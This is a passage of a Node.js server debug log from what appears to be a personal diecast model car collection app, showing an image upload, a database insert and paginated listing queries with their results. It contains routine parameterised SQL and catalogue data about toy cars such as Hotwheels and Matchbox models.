  name: 'rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47.jpg',
  data: <Buffer >,
  size: 199724,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-19-20378841770183249820',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '0fbf5e3686fdba6308d3239fb32c2555',
  mv: [Function: mv]
}
2026-02-04T05:34:09.824Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_e67c3a7e-3236-4792-837c-596ad4ab8d03.jpg',
  rel: 'public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_e67c3a7e-3236-4792-837c-596ad4ab8d03.jpg'
}
2026-02-04T05:34:09.824Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_e67c3a7e-3236-4792-837c-596ad4ab8d03.jpg',
  rel: 'assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_e67c3a7e-3236-4792-837c-596ad4ab8d03.jpg'
}
2026-02-04T05:34:09.824Z server-connect:output upload_image: [
  {
    name: 'rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_e67c3a7e-3236-4792-837c-596ad4ab8d03.jpg',
    path: '/public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_e67c3a7e-3236-4792-837c-596ad4ab8d03.jpg',
    url: '/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_e67c3a7e-3236-4792-837c-596ad4ab8d03.jpg',
    type: 'image/jpeg',
    size: 199724
  }
]
2026-02-04T05:34:09.824Z server-connect:app Executing action step repeat
2026-02-04T05:34:09.825Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T05:34:09.825Z server-connect:app Executing action step insert
2026-02-04T05:34:09.825Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T05:34:09.825Z server-connect:output images: { affected: 1, identity: 170 }
2026-02-04T05:34:09.825Z server-connect:output repeat_images: [ {} ]
2026-02-04T05:34:09.825Z server-connect:output condition: undefined
2026-02-04T05:34:10.084Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:34:10.084Z server-connect:app Executing action step identify
2026-02-04T05:34:10.084Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:10.085Z server-connect:output identity: 1
2026-02-04T05:34:10.085Z server-connect:app Executing action step restrict
2026-02-04T05:34:10.085Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:10.085Z server-connect:output restrict: undefined
2026-02-04T05:34:10.085Z server-connect:app Executing action step paged
2026-02-04T05:34:10.085Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:34:10.087Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Fantasy',
      brand_id: 72,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:34:14.163Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:34:14.163Z server-connect:app Executing action step identify
2026-02-04T05:34:14.163Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:14.163Z server-connect:output identity: 1
2026-02-04T05:34:14.163Z server-connect:app Executing action step restrict
2026-02-04T05:34:14.163Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:14.164Z server-connect:output restrict: undefined
2026-02-04T05:34:14.164Z server-connect:app Executing action step paged
2026-02-04T05:34:14.164Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:34:14.166Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 133,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Fantasy',
      brand_id: 72,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:34:32.402Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:34:32.402Z server-connect:app Executing action step identify
2026-02-04T05:34:32.402Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:32.403Z server-connect:output identity: 1
2026-02-04T05:34:32.403Z server-connect:app Executing action step restrict
2026-02-04T05:34:32.403Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:32.403Z server-connect:output restrict: undefined
2026-02-04T05:34:32.403Z server-connect:app Executing action step paged
2026-02-04T05:34:32.403Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:34:32.405Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 20,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
